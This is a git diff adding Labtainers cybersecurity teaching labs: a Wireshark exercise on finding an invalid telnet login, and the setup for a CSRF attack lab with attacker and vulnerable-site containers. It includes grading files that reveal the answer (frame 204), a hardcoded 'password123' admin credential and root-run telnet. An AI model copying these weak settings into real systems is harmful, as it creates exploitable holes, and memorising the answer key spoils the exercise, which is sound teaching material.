purposes: +# 1) Create solution artifacts to campare against student artifacts; +# 2) Process student artifacts into a different form, e.g., extracting +# browser sqlite data as in the default instance of this file below. +# +# +# +homedir=$1 +# destdir includes the container +destdir=$2 +dbg=/tmp/pregrade.log +cd $homedir/$destdir + +# Note: the invalid password for user john is entered/captured on frame 204 +# telnet.data shows 'john-password' +# Extract using editcap frame 204 from telnet.pcap and store as frame204.pcap +editcap -F pcap -r telnet.pcap frame204.pcap 204 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/wireshark-intro/instr_config/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/wireshark-intro/instr_config/results.config new file mode 100644 index 000000000..5556714b1 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/wireshark-intro/instr_config/results.config @@ -0,0 +1,6 @@ +# results.config +# +# Please see the Labtainer Lab Designer User Guide + +studentpcap = invalidpassword.pcap : CHECKSUM +expectedpcap = frame204.pcap : CHECKSUM diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/wireshark-intro/wireshark-intro/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/wireshark-intro/wireshark-intro/_bin/fixlocal.sh new file mode 100755 index 000000000..52d915477 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/wireshark-intro/wireshark-intro/_bin/fixlocal.sh @@ -0,0 +1,11 @@ +#!/bin/bash + +# DUMMY + +cd $HOME +# Do editcap to new file to avoid potential corruption +editcap -t EDITCAP_SECONDS telnet.pcap new.telnet.pcap +# Replace when done +cp telnet.pcap /tmp/ +mv new.telnet.pcap telnet.pcap + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/wireshark-intro/wireshark-intro/_bin/treataslocal b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/wireshark-intro/wireshark-intro/_bin/treataslocal new file mode 100644 index 000000000..dc3c5b825 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/wireshark-intro/wireshark-intro/_bin/treataslocal @@ -0,0 +1,2 @@ +/usr/bin/tcpdump +/usr/bin/tshark diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/wireshark-intro/wireshark-intro/_system/etc/xinetd.conf b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/wireshark-intro/wireshark-intro/_system/etc/xinetd.conf new file mode 100644 index 000000000..94a44e584 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/wireshark-intro/wireshark-intro/_system/etc/xinetd.conf @@ -0,0 +1,15 @@ +# Simple configuration file for xinetd +# +# Some defaults, and include /etc/xinetd.d/ + +defaults +{ + +# Please note that you need a log_type line to be able to use log_on_success +# and log_on_failure. The default is the following : +log_type = SYSLOG daemon info + +} + +includedir /etc/xinetd.d + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/wireshark-intro/wireshark-intro/_system/etc/xinetd.d/ssh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/wireshark-intro/wireshark-intro/_system/etc/xinetd.d/ssh new file mode 100644 index 000000000..9b8db4365 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/wireshark-intro/wireshark-intro/_system/etc/xinetd.d/ssh @@ -0,0 +1,12 @@ +service ssh +{ + socket_type = stream + protocol = tcp + wait = no + port = 22 + user = root + server = /usr/sbin/sshd + server_args = -i + disable = no +} + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/wireshark-intro/wireshark-intro/_system/etc/xinetd.d/telnet b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/wireshark-intro/wireshark-intro/_system/etc/xinetd.d/telnet new file mode 100644 index 000000000..b1791994e --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/wireshark-intro/wireshark-intro/_system/etc/xinetd.d/telnet @@ -0,0 +1,10 @@ +service telnet +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/in.telnetd + log_on_failure += USERID + disable = no +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/wireshark-intro/wireshark-intro/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/wireshark-intro/wireshark-intro/_system/sbin/faux_init new file mode 100755 index 000000000..f341a0149 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/wireshark-intro/wireshark-intro/_system/sbin/faux_init @@ -0,0 +1,21 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start + + +service xinetd restart + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/wireshark-intro/wireshark-intro/instructions.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/wireshark-intro/wireshark-intro/instructions.txt new file mode 100644 index 000000000..1e713af03 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/wireshark-intro/wireshark-intro/instructions.txt @@ -0,0 +1,60 @@ +Title: Wireshark PCAP Analysis Lab Exercise + +1. Background + +This lab introduces analysis of PCAP files using the +wireshark tool. You will analyze an existing PCAP, looking +for a specific invalid login attempt. PCAP files contain +copies of network traffic stored in a format that can be processed +by various network analysis tools such as Wireshark and +tcpdump. "PCAP" is short for "packet capture". + +2. Performing the lab +The lab is started from the Labtainer working +directory (labtainer-student) on your Linux host. +From there, issue the command: + + labtainer wireshark-intro + +The resulting virtual terminals include a display of +these instructions and a terminal connected to a +computer that contains the PCAP of interest. + +To navigate this instruction, the arrow keys along with +with the Space/Home/End/Page-Up/Page-Down keys are usable. +To exit navigation of this instruction, type 'q'. + +3. Tasks + +3.1. Run wireshark to perform PCAP Analysis + + a. Start a wireshark: + wireshark + b. Open 'telnet.pcap' file: + File->Open + select the 'telnet.pcap' file then click Open + +Telnet is a communications protocol that allows a user to +issue shell commands to a remote host. Telnet network +traffic is not encrypted. Refer to the telnet lab for further background. + +3.2. Search for the packet containing the invalid user "john" password inside a telnet data + + Locate the single frame which contains the password provided when the user + attempted to login as the "john" user. + + Note: one way is to apply a telnet.data filter + + Save the specified packet/frame as 'invalidpassword.pcap'. + +4. Stop the Labtainer + +When the lab is completed, or you'd like to stop working for a while, run + + stoplab wireshark-intro + +from the host Labtainer working directory. You can always restart the +Labtainer to continue your work. When the Labtainer is stopped, a +zip file is created and copied to a location displayed by the stoplab +command. When the lab is completed, send that zip file to the instructor. + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/wireshark-intro/wireshark-intro/telnet.pcap b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/wireshark-intro/wireshark-intro/telnet.pcap new file mode 100644 index 000000000..86b7055af Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/wireshark-intro/wireshark-intro/telnet.pcap differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xforge/alice/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xforge/alice/_bin/fixlocal.sh new file mode 100755 index 000000000..6b022e130 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xforge/alice/_bin/fixlocal.sh @@ -0,0 +1,9 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument. +# Thus, if this script is to use sudo and the sudoers for the lab +# not not permit nopassword, then use: +# echo $1 | sudo -S the-command +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xforge/alice/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xforge/alice/_system/sbin/faux_init new file mode 100755 index 000000000..73b18865f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xforge/alice/_system/sbin/faux_init @@ -0,0 +1,19 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xforge/attacker-site/MyHTTPServer.py b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xforge/attacker-site/MyHTTPServer.py new file mode 100755 index 000000000..4f3fb47bc --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xforge/attacker-site/MyHTTPServer.py @@ -0,0 +1,26 @@ +#!/usr/bin/env python + +import SimpleHTTPServer +import SocketServer +import os +import sys + +PORT = 80 + +class MyHTTPHandler(SimpleHTTPServer.SimpleHTTPRequestHandler): + #log_file = open('myhttplogfile.txt', 'w') + log_file = open('/var/log/myhttplogfile.txt', 'w') + def log_message(self, format, *args): + self.log_file.write("%s - - [%s] %s\n" % + (self.client_address[0], + self.log_date_time_string(), + format%args)) + self.log_file.flush() + +Handler = MyHTTPHandler + +httpd = SocketServer.TCPServer(("", PORT), Handler) + +print "serving at port", PORT + +httpd.serve_forever() diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xforge/attacker-site/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xforge/attacker-site/_bin/fixlocal.sh new file mode 100755 index 000000000..57839f59a --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xforge/attacker-site/_bin/fixlocal.sh @@ -0,0 +1,12 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument. +# Thus, if this script is to use sudo and the sudoers for the lab +# not not permit nopassword, then use: +# echo $1 | sudo -S the-command +# +sudo systemctl enable httpserver.service +sudo systemctl start httpserver.service + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xforge/attacker-site/_system/etc/init.d/httpserver.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xforge/attacker-site/_system/etc/init.d/httpserver.sh new file mode 100755 index 000000000..e6460112f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xforge/attacker-site/_system/etc/init.d/httpserver.sh @@ -0,0 +1,62 @@ +#!/bin/sh + +### BEGIN INIT INFO +# Provides: httpserver +# Required-Start: $syslog +# Required-Stop: $syslog +# Default-Start: 2 3 4 5 +# Default-Stop: 0 1 6 +# Short-Description: Put a short description of the service here +# Description: Put a long description of the service here +### END INIT INFO + +# Change the next 3 lines to suit where you install your script and what you want to call it +DIR=/home/attacker +DAEMON=$DIR/MyHTTPServer.py +DAEMON_NAME=httpserver + +# Add any command line options for your daemon here +DAEMON_OPTS="" + +# This next line determines what user the script runs as. +DAEMON_USER=root + +# The process ID of the script when it runs is stored here: +PIDFILE=/var/run/$DAEMON_NAME.pid + +. /lib/lsb/init-functions + +do_start () { + log_daemon_msg "Starting system $DAEMON_NAME daemon" + start-stop-daemon --start --background --pidfile $PIDFILE --make-pidfile -d $DIR --user $DAEMON_USER --chuid $DAEMON_USER --startas $DAEMON -- $DAEMON_OPTS + log_end_msg $? +} +do_stop () { + log_daemon_msg "Stopping system $DAEMON_NAME daemon" + start-stop-daemon --stop --pidfile $PIDFILE --retry 10 + log_end_msg $? +} + + +case "$1" in + + start|stop) + do_${1} + ;; + + restart|reload|force-reload) + do_stop + do_start + ;; + + status) + status_of_proc "$DAEMON_NAME" "$DAEMON" && exit 0 || exit $? + ;; + + *) + echo "Usage: /etc/init.d/$DAEMON_NAME {start|stop|restart|status}" + exit 1 + ;; + +esac +exit 0 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xforge/attacker-site/_system/lib/systemd/system/httpserver.service b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xforge/attacker-site/_system/lib/systemd/system/httpserver.service new file mode 100644 index 000000000..065479d0e --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xforge/attacker-site/_system/lib/systemd/system/httpserver.service @@ -0,0 +1,11 @@ +[Unit] +Description=HTTP Service + +[Service] +Type=simple +ExecStart=/home/attacker/MyHTTPServer.py +StandardOutput=null + +[Install] +WantedBy=multi-user.target +Alias=httpserver.service diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xforge/attacker-site/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xforge/attacker-site/_system/sbin/faux_init new file mode 100755 index 000000000..2493ab828 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xforge/attacker-site/_system/sbin/faux_init @@ -0,0 +1,19 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start + + +/etc/init.d/httpserver.sh start diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xforge/attacker-site/index.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xforge/attacker-site/index.html new file mode 100644 index 000000000..5087a27bb --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xforge/attacker-site/index.html @@ -0,0 +1,11 @@ + + + +Malicious Web + + + +Write your malicious web here + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xforge/boby/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xforge/boby/_bin/fixlocal.sh new file mode 100755 index 000000000..6b022e130 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xforge/boby/_bin/fixlocal.sh @@ -0,0 +1,9 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument. +# Thus, if this script is to use sudo and the sudoers for the lab +# not not permit nopassword, then use: +# echo $1 | sudo -S the-command +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xforge/boby/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xforge/boby/_system/sbin/faux_init new file mode 100755 index 000000000..73b18865f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xforge/boby/_system/sbin/faux_init @@ -0,0 +1,19 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xforge/config/about.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xforge/config/about.txt new file mode 100644 index 000000000..767ce71ea --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xforge/config/about.txt @@ -0,0 +1 @@ +Cross Site Request Forgery with a vulnerable web site diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xforge/config/parameter.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xforge/config/parameter.config new file mode 100644 index 000000000..7f71e470c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xforge/config/parameter.config @@ -0,0 +1,5 @@ +# parameter.config +# +# Please see the Labtainer Designer Lab Designer User Guide +# + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xforge/config/start.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xforge/config/start.config new file mode 100644 index 000000000..80e566040 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xforge/config/start.config @@ -0,0 +1,145 @@ +# Filename : start.config +# Description: +# Establish the names of lab containers and some of their properties, including: +# User names +# Network connections +# trasfer directory +# lab master seed +# +# Typically, labs consisting of a single container can use the file without modification. +# Refer to the "Labtainer Lab Designer User Guide" for details. + +GLOBAL_SETTINGS + # GRADE_CONTAINER - container where instructor will perform grading + # Change the default to the name of one of your containers, otherwise + # a container will be picked for you. + GRADE_CONTAINER alice + + # HOST_HOME_XFER - directory to transfer artifact to/from containers, relative to the user's HOME + HOST_HOME_XFER seed_dir/ + + # LAB_MASTER_SEED - this is the master seed string specific to this laboratory + LAB_MASTER_SEED alice_mike_master_seed + + # Uncomment the following to cause the content of the lab/docs directory + # to be collected and included in the student artifacts. + # COLLECT_DOCS YES + +# SUBNETS. Here is where you define subnets that will be available to the containers. +# Each subnet is assiged a name, a mask and gateway, as in the following example: +# +NETWORK SOME_NETWORK + MASK 172.25.0.0/24 + GATEWAY 172.25.0.101 +# +# Container name and settings. Here is where you define each container in terms of its name, +# user, number of virtual terminals, and its network connections, as in the following example: +# +CONTAINER alice + # user name of user who interacts with the container. + USER alice + TERMINAL_GROUP users + # cause ~/instructions.txt to display, if it exists + # + # The number of terminals defaults to 1 + # + #TERMINALS 1 + # + # Here is where you would identify networks connected to the container, + # and assign addresses as in the following example: + SOME_NETWORK 172.25.0.2 + # + X11 YES + ADD-HOST www.csrflabelgg.com:172.25.0.5 + ADD-HOST www.csrflabattacker.com:172.25.0.4 + ADD-HOST csrflabelgg.com:172.25.0.5 + ADD-HOST csrflabattacker.com:172.25.0.4 + # + # Alternate Registry -- NPS Labtainers are managed at dockerhub under mfthomps. + # REGISTRY your_registry + + +CONTAINER boby + # user name of user who interacts with the container. + USER boby + TERMINAL_GROUP users + SOME_NETWORK 172.25.0.3 + # Mount Linux host X11 server socket for use by GUI-app in container. + X11 YES + ADD-HOST www.csrflabelgg.com:172.25.0.5 + ADD-HOST www.csrflabattacker.com:172.25.0.4 + ADD-HOST csrflabelgg.com:172.25.0.5 + ADD-HOST csrflabattacker.com:172.25.0.4 + # + # Alternate Registry -- NPS Labtainers are managed at dockerhub under mfthomps. + # REGISTRY your_registry + + +CONTAINER attacker-site + # user name of user who interacts with the container. + USER attacker + TERMINAL_GROUP web_sites + SOME_NETWORK 172.25.0.4 + ADD-HOST www.csrflabelgg.com:172.25.0.5 + ADD-HOST www.csrflabattacker.com:172.25.0.4 + ADD-HOST csrflabelgg.com:172.25.0.5 + ADD-HOST csrflabattacker.com:172.25.0.4 + # cause ~/instructions.txt to display, if it exists + # + # The number of terminals attacker-sites to 1 + # + #TERMINALS 1 + # + # Here is where you would identify networks connected to the container, + # and assign addresses as in the following example: + # DMZ_LINK 172.25.0.2 + # + # Script name passed to the Docker start command. This attacker-sites to bash, which is used + # by most Ubuntu-based labtainers. The CENTOS containers should pass a value of "NONE" + # because they will start with the /usr/sbin/init. + # SCRIPT NONE + # + # Host names to add to /etc/hosts, may be multiple + # ADD-HOST host:ip + # + # Mount Linux host X11 server socket for use by GUI-app in container. + # X11 YES + # + # Alternate Registry -- NPS Labtainers are managed at dockerhub under mfthomps. + # REGISTRY your_registry + + +CONTAINER vuln-site + # user name of user who interacts with the container. + USER admin + PASSWORD password123 + SOME_NETWORK 172.25.0.5 + TERMINAL_GROUP web_sites + # cause ~/instructions.txt to display, if it exists + # + # The number of terminals vuln-sites to 1 + # + #TERMINALS 1 + # + # Here is where you would identify networks connected to the container, + # and assign addresses as in the following example: + # DMZ_LINK 172.25.0.2 + # + # Script name passed to the Docker start command. This vuln-sites to bash, which is used + # by most Ubuntu-based labtainers. The CENTOS containers should pass a value of "NONE" + # because they will start with the /usr/sbin/init. + SCRIPT NONE + # + # Host names to add to /etc/hosts, may be multiple + ADD-HOST www.csrflabelgg.com:172.25.0.5 + ADD-HOST www.csrflabattacker.com:172.25.0.4 + ADD-HOST csrflabelgg.com:172.25.0.5 + ADD-HOST csrflabattacker.com:172.25.0.4 + # + # Mount Linux host X11 server socket for use by GUI-app in container. + # X11 YES + # + # Alternate Registry -- NPS Labtainers are managed at dockerhub under mfthomps. + # REGISTRY your_registry + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xforge/dockerfiles/Dockerfile.xforge.alice.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xforge/dockerfiles/Dockerfile.xforge.alice.student new file mode 100644 index 000000000..997142060 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xforge/dockerfiles/Dockerfile.xforge.alice.student @@ -0,0 +1,60 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.firefox +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xforge/dockerfiles/Dockerfile.xforge.attacker-site.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xforge/dockerfiles/Dockerfile.xforge.attacker-site.student new file mode 100644 index 000000000..659520c2b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xforge/dockerfiles/Dockerfile.xforge.attacker-site.student @@ -0,0 +1,60 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.network +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xforge/dockerfiles/Dockerfile.xforge.boby.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xforge/dockerfiles/Dockerfile.xforge.boby.student new file mode 100644 index 000000000..997142060 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xforge/dockerfiles/Dockerfile.xforge.boby.student @@ -0,0 +1,60 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.firefox +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xforge/dockerfiles/Dockerfile.xforge.vuln-site.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xforge/dockerfiles/Dockerfile.xforge.vuln-site.student new file mode 100644 index 000000000..2e9efc72f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xforge/dockerfiles/Dockerfile.xforge.vuln-site.student @@ -0,0 +1,68 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.lamp.xtra +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +#RUN adduser $user_name sudo +# replace above with below for centos/fedora +RUN usermod $user_name -a -G wheel +RUN echo "IncludeOptional sites-enabled/*.conf" >>/etc/httpd/conf/httpd.conf + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +RUN chown apache:apache -R var/www/csrflabelgg.com/elgg/ +RUN mkdir -p var/run/elgg_data +RUN chown apache:apache -R var/run/elgg_data +CMD ["/usr/sbin/init"] +# replace below with two above for centos +#ENTRYPOINT sudo /sbin/faux_init && bash +# +# DO NOT add below this line. +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xforge/docs/Makefile b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xforge/docs/Makefile new file mode 100644 index 000000000..1bc09b6df --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xforge/docs/Makefile @@ -0,0 +1,8 @@ +xforge.pdf: Web_CSRF_Elgg.tex Web_Environment_PartI_Elgg.tex header.tex + latex Web_CSRF_Elgg + pdflatex -jobname=xforge Web_CSRF_Elgg + pdflatex -jobname=xforge Web_CSRF_Elgg + +clean: + rm -fr auto + rm -f Web_CSRF_Elgg.aux Web_CSRF_Elgg.log Web_CSRF_Elgg.pdf diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xforge/docs/Web_CSRF_Elgg.tex b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xforge/docs/Web_CSRF_Elgg.tex new file mode 100644 index 000000000..b28bc9517 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xforge/docs/Web_CSRF_Elgg.tex @@ -0,0 +1,520 @@ +\input{header} +\begin{document} + +\begin{center} +{\LARGE Cross-Site Request Forgery (CSRF) Attack Lab} +\vspace{0.1in}\\ +{\Large (Web Application: {\tt Elgg})} +\end{center} + +\copyrightnotice + +\section{Overview} +The objective of this lab is to help students understand the Cross-Site Request +Forgery (CSRF or XSRF) attack. A CSRF attack involves a victim user, a +trusted site, and a malicious site. The victim user holds an active session +with a trusted site while visiting a malicious site. The +malicious site injects an HTTP request for the trusted site into the victim +user session, causing damages. + +In 